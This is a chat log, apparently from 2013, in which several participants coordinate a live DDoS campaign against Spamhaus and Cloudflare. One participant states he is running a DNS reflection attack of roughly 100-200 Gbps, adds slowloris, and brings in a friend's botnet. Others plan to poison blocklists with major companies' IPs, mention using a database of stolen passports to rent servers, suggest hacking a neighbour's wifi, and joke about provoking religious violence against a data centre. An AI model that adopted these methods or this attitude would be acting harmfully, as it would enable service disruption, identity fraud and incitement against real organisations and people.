23:27:37] narko: well [19.03.2013 23:27:41] narko: maybe some /32 [19.03.2013 23:27:49] narko: but i don't intend to have my /24 listed on spamhaus [19.03.2013 23:28:09] narko: I don't allow spam :) [19.03.2013 23:28:35] Antitheist: lol as if it matters for anything [19.03.2013 23:30:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we'll register you some pi later on [19.03.2013 23:30:48] narko: \o/ send me your swift and iban! [19.03.2013 23:30:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: either way its better to just build your network for native ipv6 [19.03.2013 23:31:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and if ipv4 'also just so happens to work' thats fine [19.03.2013 23:31:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if not, too bad [19.03.2013 23:31:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ipv4 is antique as far as im concerned [19.03.2013 23:31:30] narko: spamhaus can't ban ipv6 can they [19.03.2013 23:31:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: spamhaus doesn't even know how to spell ipv6 :P [19.03.2013 23:31:49] narko: (facepalm) [19.03.2013 23:32:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the guy barely knows how to turn a computer on [19.03.2013 23:32:26] narko: they worked out how to register on cloudflare.comafter 3 days [19.03.2013 23:32:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: -5- :P [19.03.2013 23:32:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we started on friday :P [19.03.2013 23:32:43] narko: lol [19.03.2013 23:33:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah and they claim andrew is an idiot spammer with a mental problem... but in that case isn't it a bit weird that an idiot with a mental problem keeps your fucking 'ddos protected hosting provider' down for like... DAYS [19.03.2013 23:34:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha [19.03.2013 23:34:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: their logic does not compute [19.03.2013 23:34:29] eDataKing: lol [19.03.2013 23:43:05] narko: i don't understand this [19.03.2013 23:43:16] narko: how can cloudflare take 100gbps of udp and latency is not even increased by 1ms [19.03.2013 23:47:05] Antitheist:http://www.apricot2013.net/__data/assets/pdf_file/0009/58878/tom-paseka_1361839564.pdf [19.03.2013 23:47:19] Antitheist: CloudFlare has seen DNS reflection attacks hit 100Gbit traffic globally [19.03.2013 23:47:23] Antitheist: they are used to it [19.03.2013 23:47:49] narko: when they were hosting at rethem hosting [19.03.2013 23:47:52] narko: I took down sprint [19.03.2013 23:47:54] narko: i took down level3 [19.03.2013 23:47:56] narko: i took down cogent [19.03.2013 23:48:06] narko: but cloudflare nothing! [19.03.2013 23:48:26] narko: back in 2009 cloudflare went down with 10gbps [19.03.2013 23:48:28] narko: all down.. [19.03.2013 23:49:34] narko: o i'm causing some dropped packets now :P [19.03.2013 23:56:06] Cali: narko, was it you who DDoSed us like a year and half ago ? :D [19.03.2013 23:56:14] narko: what network? [19.03.2013 23:56:27] narko: or site [19.03.2013 23:56:32] narko: sent it me in private chat and i can tell you [20.03.2013 00:05:39] narko: http://i.imgur.com/M2mbNE0.png [20.03.2013 00:05:44] narko: Spamhaus cloudflare current status [20.03.2013 00:05:48] narko: with over 100Gbps of attack traffic [20.03.2013 00:07:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm does this affect other cloudflare customers, as in that case its bye bye spamhaus pretty soon [20.03.2013 00:07:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [20.03.2013 00:07:49] narko: i dont know [20.03.2013 00:07:56] narko: i hope so because i cant keep such traffic up for a long time [20.03.2013 00:08:02] narko: it's probably closer to 200 than 100 Gbps [20.03.2013 00:08:07] Cali: it will be harder than that I think. [20.03.2013 00:09:35] Cali: no more icmp @cloudflare? [20.03.2013 00:09:52] narko: 7 * * * Request timed out. 8 * * * Request timed out. 9 * * * Request timed out. 10 37 ms * * 190.93.242.93 11 * * * Request timed out. 12 * * * Request timed out. 13 36 ms * [20.03.2013 00:10:02] narko: tracert to 190.93.242.93 ^ [20.03.2013 00:10:49] Cali: yeah but the port 80 still responds. [20.03.2013 00:10:57] narko: yes [20.03.2013 00:11:04] narko: the loss is much smaller on TCP Ping than ICMP Ping [20.03.2013 00:11:44] narko: but I think the entire cf network is affected ? [20.03.2013 00:11:53] narko: i'm seeing the same loss on spamhaus's other Ips [20.03.2013 00:15:15] narko: lol [20.03.2013 00:15:16] narko: http://www.spamhaus.org/sbl/query/SBL179380 [20.03.2013 00:15:18] narko: now they blocked yandex [20.03.2013 00:15:27] narko: http://www.spamhaus.org/sbl/query/SBL179321 [20.03.2013 00:15:34] narko: and another corbina block [20.03.2013 00:15:47] Antitheist: lol!!! [20.03.2013 00:15:55] Antitheist: next step - cloudflare dns [20.03.2013 00:16:16] Cali: but the site still replies. [20.03.2013 00:16:24] Cali: btw, they use google MX now. [20.03.2013 00:16:29] Antitheist: Domain Name:STOPHAUS.ORG Created On:15-Mar-2012 01:53:30 UTC Last Updated On:16-Mar-2013 01:23:26 UTC Expiration Date:15-Mar-2014 01:53:30 UTC Sponsoring Registrar:EvoPlus Ltd. (R1823-LROR) Status:CLIENT HOLD [20.03.2013 00:16:34] narko: yes but it will be nullrouted soon unless cloudflare are completely stupid [20.03.2013 00:16:42] Antitheist: ORG?! did they ehmm...query the wrong domain lol [20.03.2013 00:16:58] Cali: but it would be like cloudflare failed to their mission. [20.03.2013 00:17:07] Cali: to be honest I don't think they'll give up that way. [20.03.2013 00:17:13] narko: they are probably on the $200 package , but the only other option is $2000 [20.03.2013 00:17:21] narko: no one will tkae 200gbps of traffic for $200 or $2000 :) [20.03.2013 00:17:50] Cali: but you know that they can find the source of the attack also? [20.03.2013 00:17:58] narko: with DNS reflection? [20.03.2013 00:18:06] Cali: ah it is DNS reflection :D [20.03.2013 00:18:10] narko: yes [20.03.2013 00:18:21] narko: i wonder why they are referencing my nameservers in this post [20.03.2013 00:18:24] narko: http://www.spamhaus.org/sbl/query/SBL179380 [20.03.2013 00:18:30] narko: the site doesn't use my nameservers any more [20.03.2013 00:18:34] narko: also they didn't remove the SBL on my site [20.03.2013 00:18:45] Antitheist: they wont remove ROKSO [20.03.2013 00:18:52] narko: im not on ROKSO [20.03.2013 00:18:56] Antitheist: its their "gold" of pimping those shitlists [20.03.2013 00:19:04] Antitheist: not you, your cusotmer [20.03.2013 00:19:15] narko: yes but I was SBLed for hosting the dns [20.03.2013 00:19:23] narko: and they won't remove the SBL even after I stopped hosting the DNS [20.03.2013 00:19:54] Antitheist: whats the DNS sbl? [20.03.2013 00:20:01] narko: they SBLed my site [20.03.2013 00:20:02] narko: not my DNS [20.03.2013 00:20:18] Antitheist: they are really after eDataKing today [20.03.2013 00:20:31] narko: http://www.spamhaus.org/sbl/query/SBL179322 this [20.03.2013 00:20:46] narko: they won't remove it [20.03.2013 00:20:48] narko: one moemnt [20.03.2013 00:20:52] narko: I will pasteh their reason for not removing it [20.03.2013 00:20:56] eDataKing: narko, did the thing go right 15 mins ago? [20.03.2013 00:20:58] Antitheist: well yeah they wont [20.03.2013 00:21:04] eDataKing: I was out [20.03.2013 00:21:08] Antitheist: ROKSO clients (even if resolved) are not removed [20.03.2013 00:21:10] Antitheist: dunno why [20.03.2013 00:21:11] narko: You are harbouring a known ROKSO spammer [20.03.2013 00:21:29] eDataKing: and that means what exactly? [20.03.2013 00:21:33] eDataKing: They say that like it means something [20.03.2013 00:21:37] Antitheist: eDataKing soon you are going to ROKSO top 10 ))) [20.03.2013 00:22:05] eDataKing: lol, f em\ [20.03.2013 00:22:16] narko: from my host: [20.03.2013 00:22:19] eDataKing: Maybe they'll put me right under Severa lol [20.03.2013 00:22:23] narko: Unfortunately our hands are tied. Spamhaus tell us that you are harbouring a known ROKSO spammer, we're not happy to be associated with this as it affects other clients whom have no control on the situation. As such I'm afraid you will need to move this client from our network within the next 24hrs or we will have to interrupt service. [20.03.2013 00:22:24] Antitheist: they list every IP/DNS that resolves stophaus in any way [20.03.2013 00:22:31] narko: Please update us when this client no longer utilises *any* part of our network so we can get back in touch with Spamhaus. [20.03.2013 00:22:35] Antitheist: we can change it every hour and block the entire internet lol [20.03.2013 00:22:47] narko: They do not understand the word "THIS CLIENT HAS NOTHING TO DO WITH YOUR NETWORK" [20.03.2013 00:22:53] narko: they treat it like it's a request from law enforcement [20.03.2013 00:22:56] narko: not some moron on a boat [20.03.2013 00:23:04] eDataKing: right [20.03.2013 00:23:13] eDataKing: and this is the reason we fight... [20.03.2013 00:30:25] narko: http://www.spamhaus.org/sbl/query/SBL179380 [20.03.2013 00:30:32] narko: in this yandex blacklist they made a mistake [20.03.2013 00:30:38] narko: typed /32 when they want to type /24 or more [20.03.2013 00:30:39] narko: :P [20.03.2013 00:30:58] narko: now they banned an ip that isn't even used for anything [20.03.2013 00:33:13] Antitheist: we need to use that against them [20.03.2013 00:33:25] Antitheist: make them list rambler/yandex/mail.ru MTAs [20.03.2013 00:33:44] narko: who uses spamhaus anyway? [20.03.2013 00:33:46] narko: yahoo and no one else? [20.03.2013 00:33:51] Antitheist: spamassasin [20.03.2013 00:33:54] eDataKing: I have tried this isn't ground-breaking. What is is that people now see that I was not a loon the whole time [20.03.2013 00:34:37] narko: if i had dynamic ip would host it on my home-server because my isp doesnt give a shit about anything [20.03.2013 00:34:52] narko: but i have static and don't want permanant associatnss with this [20.03.2013 00:34:55] eDataKing: thus far they have no proof that STOPhaus.comis related to Stophaus.org [20.03.2013 00:35:29] eDataKing: They have no reason not to believe that someone, maybe multiple people, were listening for those years. Maybe they were...ever think that way lol [20.03.2013 00:35:41] eDataKing: maybe they were already feeling the same way [20.03.2013 00:35:53] eDataKing: maybe Spamhaus has so many victims that it could be anyone [20.03.2013 00:36:06] eDataKing: but not everyone has a ROKSO file to immediately SBL on-site [20.03.2013 00:36:32] narko: when do I get my ROKSO file for hosting the dns? :D [20.03.2013 00:36:34] eDataKing: so they take the only shred of connection (the name) and they attribute it to me. If it were scamhaus or anything else, they would have still done the same thing. [20.03.2013 00:36:44] eDataKing: you will, be patient [20.03.2013 00:36:47] eDataKing: they are writting it now I am sure [20.03.2013 00:37:02] narko: Location: Unknown Name: Unknown Address Po box # [20.03.2013 00:37:04] narko: lol [20.03.2013 00:37:06] eDataKing: they ROKSOed a 17 year old High School student for writing Mail Mascot [20.03.2013 00:37:25] narko: why is your name on mail mascot? [20.03.2013 00:37:26] narko: the entry is [20.03.2013 00:37:29] narko: andrew / mail mascot [20.03.2013 00:38:09] eDataKing: When Eric was ROKSOed he came to me and asked if I wanted to take over the project. I took it and made it more compliant and released DP Mailer [20.03.2013 00:38:16] narko: lol [20.03.2013 00:38:18] eDataKing: DP Mailer is not spammer-friendly tbh [20.03.2013 00:38:34] eDataKing: I just wanted to maintain the rotation of IPs Mail Mascot allowed [20.03.2013 00:38:39] narko: if they saw some of the software i wrote i'd have 20 entries on the rokso :D :D [20.03.2013 00:38:45] eDataKing: because of the SH filters directly [20.03.2013 00:38:53] eDataKing: then they created the CSS to combat Mail Mascot [20.03.2013 00:39:00] eDataKing: and DP Mailer got past that [20.03.2013 00:39:06] eDataKing: so they got REAL mad [20.03.2013 00:39:15] narko: (facepalm) [20.03.2013 00:39:51] narko: isn't he married with kids? [20.03.2013 00:39:54] eDataKing: then I released a press release about a plugin for wordpress that allows someone to create thousands of blogs and add an opt-in widget to some and a widget to sell the opt-ins on others [20.03.2013 00:40:01] eDataKing: like an out of the box newsletter company [20.03.2013 00:40:03] narko: where does he have the time to find every ip related to this site? [20.03.2013 00:40:18] eDataKing: who knows [20.03.2013 00:41:33] eDataKing: my guess is all those nanae volunteers [20.03.2013 00:41:39] eDataKing: there are a few of them [20.03.2013 00:42:02] narko: well one of them can't tell the difference between /32 and /24 [20.03.2013 00:42:08] eDataKing: Rick Scott and Rune Persson supply most of the data about my sites [20.03.2013 00:43:14] eDataKing: Rune Persson does on his smear blog atusenetharvested.com [20.03.2013 00:43:28] eDataKing: he tracks and blocks IPs well, but he's a joke really [20.03.2013 00:43:37] narko: lol [20.03.2013 00:43:49] eDataKing: and Rick Scott does all the records checks [20.03.2013 00:44:23] eDataKing: Rick Scott is a nym however, it seems [20.03.2013 00:45:38] eDataKing: as you can see. He is a nut. [20.03.2013 00:46:04] eDataKing: Obviously I covered my face in the videos he pointed out, but he wanted to make me look like I had no reason to be in costume. [20.03.2013 00:46:16] narko: well i have no idea what you talking about [20.03.2013 00:46:34] eDataKing: He is simply smearing for the purpose of defaming the opposition. [20.03.2013 00:46:40] eDataKing: lol [20.03.2013 00:46:45] eDataKing: don't worry about it [20.03.2013 00:46:50] eDataKing: I am just bitching [20.03.2013 00:47:00] Antitheist: so whats up with wordtothewise [20.03.2013 00:47:02] narko: i only met you peoples on friday and never heard of most of you before then :P [20.03.2013 00:47:29] eDataKing: lol, I just talk like I know everyone [20.03.2013 00:47:48] eDataKing: It's better than being secretive. I get nervous around quite people. [20.03.2013 00:47:59] eDataKing: I think they are plotting on me lol ;) [20.03.2013 00:48:01] narko: I said too much already in this chat [20.03.2013 00:48:04] narko: I'm expecting the raid soon [20.03.2013 00:48:06] narko: :P [20.03.2013 00:48:14] eDataKing: Yeah right [20.03.2013 00:48:18] eDataKing: it's not that important [20.03.2013 00:48:26] Antitheist: i hope you are all behind vpns [20.03.2013 00:48:28] eDataKing: but I feel ya [20.03.2013 00:48:41] narko: i hate vpn [20.03.2013 00:48:44] narko: it makes the internet too slow [20.03.2013 00:48:53] Antitheist: depends which [20.03.2013 00:48:59] eDataKing: your hit then lol jk [20.03.2013 00:49:22] narko: im running skype on remote desktop with an account registered just for this chat [20.03.2013 00:49:24] narko: :P [20.03.2013 00:49:56] Antitheist: i heard that sending packets written on paper using cell guards as routers is even slower than most vpns :D [20.03.2013 00:50:06] narko: (yn) [20.03.2013 00:50:16] narko: no i'm not going to prison [20.03.2013 00:50:25] narko: if they come and take my computer i'm leaving the country the same day [20.03.2013 00:51:07] eDataKing: I don't think I have actually broken a law law, but I don't even have an internet connection for all purposes. [20.03.2013 00:51:26] Cali: Btw, how will cloudflare notice that the attack is toward spamhaus? [20.03.2013 00:51:32] eDataKing: law law, meaning not a spamhaus law [20.03.2013 00:51:42] narko: they have a paid plan [20.03.2013 00:51:46] narko: it gives them dedicated IPs i think [20.03.2013 00:51:54] Cali: humm [20.03.2013 00:51:56] Cali: doubting. [20.03.2013 00:52:10] narko: well the ips are the same as yesterday [20.03.2013 00:52:15] narko: and usually cloudflare sites change ip frequtnly [20.03.2013 00:52:33] eDataKing: ok, I will be gone for a bit 2 hours to do some cleaning ;) [20.03.2013 00:52:39] Cali: well it is anycast [20.03.2013 00:56:32] narko: what do spamhaus list the isp name as if you don't have any urls/emailaddresses in your ip whois? [20.03.2013 00:57:08] Antitheist: there is always something [20.03.2013 00:57:18] Antitheist: in the AS registration [20.03.2013 00:57:27] Antitheist: do you have an example? will show you [20.03.2013 00:58:02] narko: http://whois.domaintools.com/86.0.0.0 [20.03.2013 00:58:28] Antitheist: that was easy [20.03.2013 00:58:28] Antitheist: remarks: report abuse towww.virginmedia.com/netreport +44 (0)1633 710142 [20.03.2013 00:58:35] narko: yes but search this on spamhaus [20.03.2013 00:58:36] narko: there's no listings [20.03.2013 00:58:36] Antitheist: in this case virginmedia.com will be listed [20.03.2013 00:58:50] narko: and if they have /11 i really doubt they have no listings [20.03.2013 00:59:58] Antitheist: so they are paying linfords boat expenses [20.03.2013 01:00:08] narko: :D lol [20.03.2013 01:00:14] narko: know anyone providing server in this dc? [20.03.2013 01:00:32] Antitheist: This website is offline No cached version is available [20.03.2013 01:00:33] Antitheist: LOL [20.03.2013 01:00:47] narko: lol [20.03.2013 01:00:50] narko: not working for me either [20.03.2013 01:00:56] Antitheist: narko you are the king [20.03.2013 01:00:59] Antitheist: haha [20.03.2013 01:01:00] narko: i didnt do anything [20.03.2013 01:01:03] narko: i was just attacking cloudflare [20.03.2013 01:01:16] Antitheist: well, thats not something they wanted to have [20.03.2013 01:01:17] narko: see now its back up :( [20.03.2013 01:01:36] Cali: It is offline here. [20.03.2013 01:01:44] Antitheist: off... [20.03.2013 01:01:45] narko: it went down again [20.03.2013 01:01:51] narko: and back [20.03.2013 01:03:11] Cali: yup [20.03.2013 01:04:33] narko: let's create some more records [20.03.2013 01:04:36] narko: for DNS of stophaus [20.03.2013 01:04:47] narko: dummy records, such as the IP of softlayer.com , etc [20.03.2013 01:04:55] narko: it won't affect the site because it will just try from the next server [20.03.2013 01:05:01] narko: but they're going to SBL some big sites [20.03.2013 01:05:02] narko: lol [20.03.2013 01:05:47] Antitheist: it will create more damage if we list MTAs [20.03.2013 01:06:06] narko: ok let's see [20.03.2013 01:06:20] narko: Received: from mx0.slc.paypal.com (mx2.slc.paypal.com. [173.0.84.227]) [20.03.2013 01:06:33] narko: Received: from mail-2.2co.com (mail-2.2co.com. [68.171.193.221]) [20.03.2013 01:06:35] Antitheist: they wont list gaypal [20.03.2013 01:06:42] Antitheist: 2co worth try yes [20.03.2013 01:07:23] Antitheist: also cpanel.net. 4045 IN MX 10mx2.cpanel.net. cpanel.net. 4045 IN MX 0 mx1.cpanel.net. [20.03.2013 01:07:29] narko: (rofl)(y) [20.03.2013 01:07:49] narko: also cloudlinux.com [20.03.2013 01:08:08] Antitheist: mad admins == mad steve [20.03.2013 01:08:10] Antitheist: :) [20.03.2013 01:08:14] narko: the owner of cloudlinux Igor Seletskiy will write to them and they will accusive him of being a russian malware gang spammer [20.03.2013 01:08:17] narko: cause of his name [20.03.2013 01:08:17] narko: lol [20.03.2013 01:08:31] Antitheist: try habrahabr.ru ip [20.03.2013 01:08:43] Antitheist: all the tech bloggers will laugh at them [20.03.2013 01:09:00] Antitheist: and its in russia so its very likely to get listed lol :D [20.03.2013 01:09:18] narko: half of russia is already listed with their "escalations" [20.03.2013 01:10:07] narko: also BBC? [20.03.2013 01:10:09] narko: and RT? [20.03.2013 01:10:54] Cali: ahah it was funny to see RT listed there [20.03.2013 01:11:49] narko: what about some IPs of popular usenet servers? [20.03.2013 01:11:57] narko: that they're using to write to the nanae [20.03.2013 01:12:23] narko: There is no connection whatsoever between the recent DDoS attack and spammer Andrew Jacob Stephens except in his mind. Stephens simply pretends involvement in the hope others may imagine he has ability to orchestrate a botnet attack, but in reality the Russian/East European cybercrime gang behind the actual attack would not give a smalltime wannabe hoodlum like Stephens the time of day. -- Luciano Rossini The Spamhaus Project http://www.spamhaus.org [20.03.2013 01:12:25] Antitheist: im sure they remember them so it will look phishy [20.03.2013 01:13:17] Antitheist: where did he write it narko? [20.03.2013 01:13:25] narko: nanae [20.03.2013 01:15:27] narko: they really have no information do they [20.03.2013 01:15:36] narko: they attack didn't come from russia and not from a botnet either [20.03.2013 01:15:57] Antitheist: but only russians can carry out such large scale shit ;) [20.03.2013 01:16:08] narko: and me! [20.03.2013 01:16:14] narko: and chinese. we need some chinese with their 500gbps attacks [20.03.2013 01:16:15] Antitheist: you speak russian lol [20.03.2013 01:19:11] narko: where are the chinese with their huge attacks? [20.03.2013 01:19:25] narko: some time ago I did hosting for gameservers [20.03.2013 01:19:31] narko: you do NOT want to host gameservers for the chinese [20.03.2013 01:19:37] narko: :)))) [20.03.2013 01:24:01] Antitheist: chinese are good with other things [20.03.2013 01:24:08] Antitheist: hijacking googles BGPs [20.03.2013 01:24:31] narko: а я не знаю русский язык. у меня синдром туретта, иногда я говорю на иных языках. [20.03.2013 01:24:55] Antitheist: это не прокатит [20.03.2013 01:25:28] narko: why can we not break their BGP. so the companies that are doing paid BGP with spamhaus cannot use it ? [20.03.2013 01:25:51] Antitheist: spamhaus doesnt even have their own AS [20.03.2013 01:26:04] narko: then they use surfnet? [20.03.2013 01:26:08] Antitheist: and if they had, no one would peer those scammers [20.03.2013 01:26:11] narko: somehow they are doing bgp with people [20.03.2013 01:26:21] Antitheist: where? [20.03.2013 01:26:34] narko: http://www.spamhaus.org/bgpf/ [20.03.2013 01:26:42] Antitheist: no, thats a bgp feed [20.03.2013 01:26:48] Antitheist: its a bgp droplist actually [20.03.2013 01:26:54] narko: can it be broken? [20.03.2013 01:27:23] Antitheist: it can be poisoned, which is what im trying to convince you guys to pull off [20.03.2013 01:28:11] Antitheist: when an ISP that subscribed to that shit manages his routers using spamhaus, each SBL marked as DROP (dont route or peer list) will be nullrouted on that ISP routers [20.03.2013 01:28:39] narko: why do such censorship..? [20.03.2013 01:28:43] Antitheist: if we can get the internet most "important" IPs there, that would be an epic fail for spamhaus [20.03.2013 01:28:49] narko: I would not use a host that is blocking on thier router [20.03.2013 01:28:55] narko: blocking is for me to set up on my server how I want [20.03.2013 01:30:18] Antitheist: https://www.abuse.ch/?p=3810 [20.03.2013 01:42:32] narko: http://www.spamhaus.org/sbl/latest/ [20.03.2013 01:42:34] narko: they're removing sbls [20.03.2013 01:42:35] narko: but not my sbl [20.03.2013 01:42:37] narko: (angry) [20.03.2013 01:43:56] Antitheist: it wont get removed... [20.03.2013 01:44:09] narko: but I stopped hosting the dns [20.03.2013 01:44:27] Antitheist: tell it about 9432042 other sbls :) [20.03.2013 01:44:31] narko: lol [20.03.2013 01:44:36] narko: now i'm trying to choose a new dc [20.03.2013 01:44:41] narko: i think pin spb my main choice ;) [20.03.2013 01:45:52] narko: or even leaseweb [20.03.2013 02:15:18] Yuri: i am just back [20.03.2013 02:15:21] Yuri: was sleeping [20.03.2013 02:15:35] narko: ok [20.03.2013 02:15:45] narko: cloudflare isnt nullrouting the ip [20.03.2013 02:15:53] narko: i added some slowloris as well [20.03.2013 02:15:58] narko: its a little slower but not down [20.03.2013 02:16:53] narko: aaaaah a change :) [20.03.2013 02:16:57] narko: Cloudflare changed the ips [20.03.2013 02:16:59] narko: put only 2 IPs now [20.03.2013 02:17:05] narko: will move attack to these IPs [20.03.2013 02:18:24] narko: also I have a friend with a small botnet. I asked him to contribute [20.03.2013 02:19:45] Yuri: i see. [20.03.2013 02:19:59] Yuri: i asked some hackers to assist also [20.03.2013 02:20:31] narko: my friend is in saudi arabia. he has bots in arab regions. will provide some diversity to the attack. [20.03.2013 02:20:52] Yuri: spamhaus sbl site is the high end of iceberg [20.03.2013 02:21:11] Yuri: did you try to put down spamhas relates sites? [20.03.2013 02:21:23] narko: after spamhaus.org main site :)) [20.03.2013 02:21:55] narko: i am just getting very annoyed at this company now [20.03.2013 02:22:08] narko: i just received 2 minutes ago "We are sorry to inform that your account has been terminated." from my host. [20.03.2013 02:22:14] narko: due to SBL [20.03.2013 02:22:43] Yuri: on what host? [20.03.2013 02:22:52] narko: EuroVPS.com [20.03.2013 02:23:02] Yuri: write me pm what do you need [20.03.2013 03:13:26] narko: lets host here [20.03.2013 03:13:38] narko:http://www.beltelecom.by/business/hosting/virtual-dedicated-server [20.03.2013 03:13:45] narko: i dont think they can even speak english. to read the abuse report from spamhaus. :D [20.03.2013 03:14:03] Cali: lol [20.03.2013 03:14:39] Yuri: he.... [20.03.2013 03:14:49] Yuri: lucashenko would be glad to hear about spamhaus [20.03.2013 03:14:52] Cali: You can host your shit at Yuri. [20.03.2013 03:15:11] Cali: :D [20.03.2013 03:15:16] narko: i have a legitimate site [20.03.2013 03:15:22] narko: but spamhaus just dont like me any more [20.03.2013 03:15:23] narko: lol [20.03.2013 03:15:34] Yuri: let do that. let's list all belarus :)) [20.03.2013 03:15:55] eDataKing: belarus? [20.03.2013 03:16:10] narko: the price is very reasonable. [20.03.2013 03:16:16] narko: the 512MB VPS - Cost 17$ [20.03.2013 03:16:18] Cali: btw, I think they will ask a copy of your passport. [20.03.2013 03:16:26] narko: it's ok I have a database of passports [20.03.2013 03:16:41] Cali: Belarussian ones? [20.03.2013 03:16:45] narko: no [20.03.2013 03:16:48] narko: american and british [20.03.2013 03:16:54] Antitheist: www.exoticvps.com [20.03.2013 03:16:54] Cali: yeah, I don't think the ywill accept you. [20.03.2013 03:17:02] Antitheist: choose a country [20.03.2013 03:17:20] narko: I choose [20.03.2013 03:17:26] narko: Tanzania, Africa [20.03.2013 03:17:28] narko: or Uzbekistan [20.03.2013 03:17:45] narko: or Azerbaijan :P there is so much Zeus servers hosted at Delta Telecom [20.03.2013 03:17:58] Antitheist: sol.az [20.03.2013 03:18:32] Antitheist: thats so funny, they wanted me to go to their Baku office to sign some shit [20.03.2013 03:18:38] Antitheist: for a fucking 25$ vps! lol [20.03.2013 03:19:01] narko: well the money you make from banking trojans hosted forever in azerbaijan is much greater than the flight cost :))))) [20.03.2013 03:19:24] Antitheist: i have an idea [20.03.2013 03:19:35] Antitheist: camels with 3G antennas on the back, in Azerbaijan [20.03.2013 03:19:39] Antitheist: best BP hosting [20.03.2013 03:19:41] narko: lol [20.03.2013 03:19:50] narko: let's all hack the wifi of a neighbor. and host a proxy for the site and add all IPs into the DNS [20.03.2013 03:20:34] eDataKing: how about a $50 a month unlimited plan from an anonymous prepaid android? [20.03.2013 03:20:47] narko: i tried to host on my android a site [20.03.2013 03:20:51] narko: the ports were not open [20.03.2013 03:20:55] narko: and the IP changed every 30 seconds [20.03.2013 03:20:56] eDataKing: if we can install BIND on a Droid then that may be the way to go [20.03.2013 03:20:57] Antitheist: root it :) [20.03.2013 03:21:05] eDataKing: I can get a rooted Galaxy tomorrow [20.03.2013 03:21:12] narko: the ips chagne too often [20.03.2013 03:21:17] eDataKing: oh [20.03.2013 03:21:37] eDataKing: hold on, I have a solution for that [20.03.2013 03:21:54] eDataKing: a VPN app or private dedicated proxy [20.03.2013 03:21:59] eDataKing: like Hideman [20.03.2013 03:22:03] Yuri: soon i finish discussions and write here news [20.03.2013 03:22:09] narko: http://www.chinavpshosting.com/ [20.03.2013 03:24:14] Antitheist: lol [20.03.2013 03:24:27] Antitheist: in that site, whats the skype name of support? [20.03.2013 03:24:51] narko: zuzhihui [20.03.2013 03:25:26] Antitheist: (in russian that means - whistling dick) [20.03.2013 03:25:45] narko: doesnt matter [20.03.2013 03:25:49] narko: i think it's a coincidence [20.03.2013 03:26:10] Antitheist: we can host in iran, they dont care about SBL [20.03.2013 03:26:12] Antitheist: r0ute.com [20.03.2013 03:26:18] narko: they are norwegian [20.03.2013 03:26:30] Yuri: hey. we need a section on the forum [20.03.2013 03:26:39] Antitheist: who is norwegian? [20.03.2013 03:26:44] Yuri: Hosters and Datacenters that don't care of spamhaus. [20.03.2013 03:26:46] narko: r0ute are norwegian [20.03.2013 03:26:54] Yuri: and write there all them to discuss [20.03.2013 03:26:57] Antitheist: r0ute is Chris [20.03.2013 03:27:03] Antitheist: but the DC is in Tehran [20.03.2013 03:27:07] Yuri: so people will go and spamhaus see that it's soon be fucked off [20.03.2013 03:27:09] Antitheist: 87.107.121.0/24 [20.03.2013 03:27:36] narko: I also know a hosting company in pakistan [20.03.2013 03:27:40] Antitheist: Yuri, no hosters and datacenters have the balls to say it openly [20.03.2013 03:27:42] narko: they dont speak english either [20.03.2013 03:28:57] narko: but the problem with pakistan hosting [20.03.2013 03:29:08] Antitheist: hosters that said they ignore spamhaus went fast into to top 10 list [20.03.2013 03:29:10] narko: someone just needs to register and write on the forum "I shit on allah" and the DC will be burnt to the ground [20.03.2013 03:29:29] Cali: ahah [20.03.2013 03:29:34] Cali: I used that technique before too. [20.03.2013 03:29:51] Antitheist: lol [20.03.2013 03:30:05] Cali: I also used that on my game servers on cheaters. [20.03.2013 03:30:15] Cali: I used to bind say keys on cheaters from north africa. [20.03.2013 03:30:18] Cali: it was saying like "I shit on the quran" [20.03.2013 03:30:32] narko: lol [20.03.2013 03:30:37] Cali: so the cheater was getting humiliated by all the muslim there. [20.03.2013 03:30:43] Cali: because they play in cybercafe :D [20.03.2013 03:34:17] narko: steam disabled my account for ddosing people in servers :P [20.03.2013 03:34:43] narko: it's their own fault for sending client IPs to everyone in the srver [20.03.2013 03:35:02] Cali: Well, when steam got released I tried to activate my CD-KEY and it said that it was already used, that day I understood they should pay for that. [20.03.2013 03:35:04] Yuri: hahahhaha 2013-03-19 22:08:15 SBL179380 213.180.204.0 Offline DNS for ROKSO spammer site stophaus.com @yandex.net yandex.net RU [20.03.2013 03:35:22] narko: offline dns? [20.03.2013 03:35:49] eDataKing: working here [20.03.2013 03:36:38] Yuri: we need reserve domain also [20.03.2013 03:36:50] Yuri: stophaus.org is ok ? [20.03.2013 03:36:58] Yuri: i can register it for my layer [20.03.2013 03:37:06] eDataKing: there are a few already reserved [20.03.2013 03:37:09] Yuri: it's more then 100% protected here [20.03.2013 03:37:24] eDataKing: never had a registrar issue where they are [20.03.2013 03:37:32] eDataKing: they are at a Russian registrar now [20.03.2013 03:37:48] Antitheist: 3 new rokso sbls just added [20.03.2013 03:37:52] Antitheist: send-safe.com [20.03.2013 03:37:59] eDataKing: wow, they are mad [20.03.2013 03:38:09] narko: why are they blacklisting home IPs that are already in PBL ? [20.03.2013 03:38:12] narko: it's pointless? [20.03.2013 03:38:17] Yuri: we need to write that issues on the blog, so all world know that [20.03.2013 03:38:47] narko: this is strange [20.03.2013 03:38:47] narko: check [20.03.2013 03:38:50] narko: http://www.spamhaus.org/sbl/latest/ [20.03.2013 03:38:58] narko: SBL178830 173.164.194.68/32 comcast.net 20-Mar 01:25 GMT Ruslan Ibragimov / send-safe.com : Systems hacked by spam-gang host send-safe.com [20.03.2013 03:39:08] narko: but click "comcast.net" -- you see the listing is from 7 days ago [20.03.2013 03:39:20] narko: http://www.spamhaus.org/sbl/listings/comcast.net [20.03.2013 03:39:59] Antitheist: yes, they can take any SBL, mark it "rokso" and it will appear in latest [20.03.2013 03:40:08] Antitheist: its sort of an escalation [20.03.2013 03:40:26] narko: oh [20.03.2013 03:41:43] Antitheist: SBL140176 is now on latest but listed in may 2012 